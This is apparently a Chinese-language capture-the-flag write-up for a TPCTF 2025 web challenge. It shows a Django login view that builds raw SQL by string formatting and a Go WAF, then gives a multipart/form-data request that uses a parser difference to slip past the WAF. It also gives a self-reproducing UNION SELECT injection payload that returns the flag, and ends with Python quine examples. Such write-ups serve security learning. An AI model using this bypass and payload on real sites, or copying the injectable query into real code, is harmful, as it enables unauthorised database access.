# 从 django.shortcuts 模块导入 render 函数,用于渲染模板
from django.shortcuts import render
# 从 django.db 模块导入 connection 对象,用于数据库连接
from django.db import connection
# 此模块用于创建视图函数
# 从 django.http 模块导入 HttpResponse 和 HttpRequest 类
from django.http import HttpResponse,HttpRequest
# 从当前应用的 models 模块导入 AdminUser 和 Blog 模型
from .models import AdminUser,Blog
# 导入 os 模块,用于与操作系统进行交互
import os
# 定义一个名为 index 的视图函数,接收一个 HttpRequest 对象作为参数
def index(request:HttpRequest):
# 返回一个 HttpResponse 对象,内容为 'Welcome to TPCTF 2025'
return HttpResponse('Welcome to TPCTF 2025')
# 定义一个名为 flag 的视图函数,接收一个 HttpRequest 对象作为参数
def flag(request:HttpRequest):
# 检查请求的方法是否不是 POST
if request.method != 'POST':
# 如果不是 POST 请求,返回一个 HttpResponse 对象,内容为 'Welcome to TPCTF 2025'
return HttpResponse('Welcome to TPCTF 2025')
# 从 POST 请求中获取名为 'username' 的参数值
username = request.POST.get('username')
# 检查用户名是否不是 'admin'
if username != 'admin':
# 如果用户名不是 'admin',返回一个 HttpResponse 对象,内容为 'you are not admin.'
return HttpResponse('you are not admin.')
# 从 POST 请求中获取名为 'password' 的参数值
password = request.POST.get('password')
# 使用原始 SQL 查询从 blog_adminuser 表中筛选出用户名和密码匹配的用户
users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))
try:
# 断言用户输入的密码与查询结果中的第一个用户的密码相同
assert password == users[0].password
# 如果断言成功,返回一个 HttpResponse 对象,内容为环境变量中 'FLAG' 的值
return HttpResponse(os.environ.get('FLAG'))
except:
# 如果断言失败或出现异常,返回一个 HttpResponse 对象,内容为 'wrong password'
return HttpResponse('wrong password')
服务器要求输入的密码与数据库返回内容相同,且服务器存在waf
if r.Method == http.MethodPost {
ct := r.Header.Get("Content-Type")
mediaType, _, err := mime.ParseMediaType(ct)
if err != nil {
log.Printf("解析 Content-Type 失败: %v", err)
return true
}
if mediaType == "multipart/form-data" {
if err := r.ParseMultipartForm(65535); err != nil {
log.Printf("解析 POST 参数失败: %v", err)
return true
}
} else {
if err := r.ParseForm(); err != nil {
log.Printf("解析 POST 参数失败: %v", err)
return true
}
}
for key, values := range r.PostForm {
log.Printf("POST 参数 %s=%v", key, values)
for _, value := range values {
if sqlInjectionPattern.MatchString(value) {
log.Printf("阻止 SQL 注入: POST 参数 %s=%s", key, value)
return true
}
if rcePattern.MatchString(value) {
log.Printf("阻止 RCE 攻击: POST 参数 %s=%s", key, value)
return true
}
if hotfixPattern.MatchString(value) {
log.Printf("POST 参数 %s=%s", key, value)
return true
}
}
}
}
tips: 跨语言容易出现解析差异
multipart/form-data
multipart/form-data
是一种用于在 HTTP 请求中传输表单数据的编码格式,特别适用于同时上传文件和提交文本字段的场景。它的核心设计是通过分隔符(boundary
)将请求体分割为多个独立的部分,每部分对应一个表单字段(如文本输入或文件)。
为什么需要它?
- 支持文件上传:传统的
application/x-www-form-urlencoded
格式只能编码简单的键值对文本,而multipart/form-data
可以高效处理二进制文件(如图片、视频)。 - 混合数据类型:允许在一个请求中同时传输文本和文件。
- 避免数据混乱:通过唯一的分隔符(
boundary
)确保各部分数据不冲突。
格式结构
- HTTP 请求头 中需指定:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
boundary
是一个随机生成的字符串,用于分隔不同部分。
请求体示例:
----WebKitFormBoundaryABC123 Content-Disposition: form-data; name="username" Alice ----WebKitFormBoundaryABC123 Content-Disposition: form-data; name="avatar"; filename="photo.jpg" Content-Type: image/jpeg (这里是文件的二进制数据) ----WebKitFormBoundaryABC123--
- 每个字段由
boundary
分隔。 - 文本字段:
name
指定字段名,内容直接跟在空行后。 - 文件字段:需指定
filename
和Content-Type
(如image/jpeg
)。
- 每个字段由
tips: 有些时候multipart/form-data的键值可能被认为是post的键值
当我们发送
POST /flag/ HTTP/1.1
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: 127.0.0.1:3592
Content-Length: 301
Content-Type: multipart/form-data; boundary=ba325d8a6c0000320059df30eab0bb5e
--ba325d8a6c0000320059df30eab0bb5e
Content-Disposition: form-data; name="username"
admin
--ba325d8a6c0000320059df30eab0bb5e
Content-Disposition: form-data; name="file"; filename="A5rZ.txt";name="
Content-Disposition: form-data; name="password";
select
--ba325d8a6c0000320059df30eab0bb5e--
go 不会认为 password是一个参数, 但是django会认为他是一个参数
现在我们解决了waf,又如何使得输入与输出相等呢?
我们能找到这样的有效负载,我们来看看原理是什么
1' union select 1,2,replace(replace('1" union select 1,2,replace(replace("#",char(34),char(39)),char(35),"#")-- ',char(34),char(39)),char(35),'1" union select 1,2,replace(replace("#",char(34),char(39)),char(35),"#")-- ')--
当有效负载被拼接到后端,他看起来应该是这样的
blog_adminuser具有三列
SELECT * FROM blog_adminuser
WHERE username='admin'
AND password='1'
UNION SELECT 1,2,
REPLACE(
REPLACE(
'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ',
CHAR(34),
CHAR(39)
),
CHAR(35),
'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '
)
-- '
REPLACE(
REPLACE('1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- ',CHAR(34),CHAR(39)),
CHAR(35),'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '
)
也就是
out = '1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '.replace(chr(34),chr(39))
print(out)
out = out.replace(chr(35), """'1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '""")
print(out)
1' UNION SELECT 1,2,REPLACE(REPLACE('#',CHAR(34),CHAR(39)),CHAR(35),'#')--
1' UNION SELECT 1,2,REPLACE(REPLACE(''1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '',CHAR(34),CHAR(39)),CHAR(35),''1" UNION SELECT 1,2,REPLACE(REPLACE("#",CHAR(34),CHAR(39)),CHAR(35),"#")-- '')--
拓展 - Quine
Quine 程序是一种特殊的程序,其功能是输出自身的源代码,以下示例都会输出自身
s = 's = %r\nprint(s%%s)'
print(s % s)
s = '''s = \'\'\'%s\'\'\'\\nart = \'\'\'%s\'\'\'\\nprint(s %% (s.replace(\'\\\\n\', \'\\\\\\\\n\').replace(\'\\\'\', \'\\\\\\\'\'), art)'''
art = r'''
____ _
/ ___| _ _ _ __ ___ (_)_ __ __ _
\___ \| | | | '_ \ / _ \| | '_ \ / _` |
___) | |_| | | | | (_) | | | | | (_| |
|____/ \__,_|_| |_|\___/|_|_| |_|\__, |
|___/
Self-Replicating Code (Quine) v1.0
'''
print(s % (s.replace('\n', '\\n').replace('\'', '\\\''), art))
参考
https://blog.0xfff.team/posts/tpctf_2025_writeup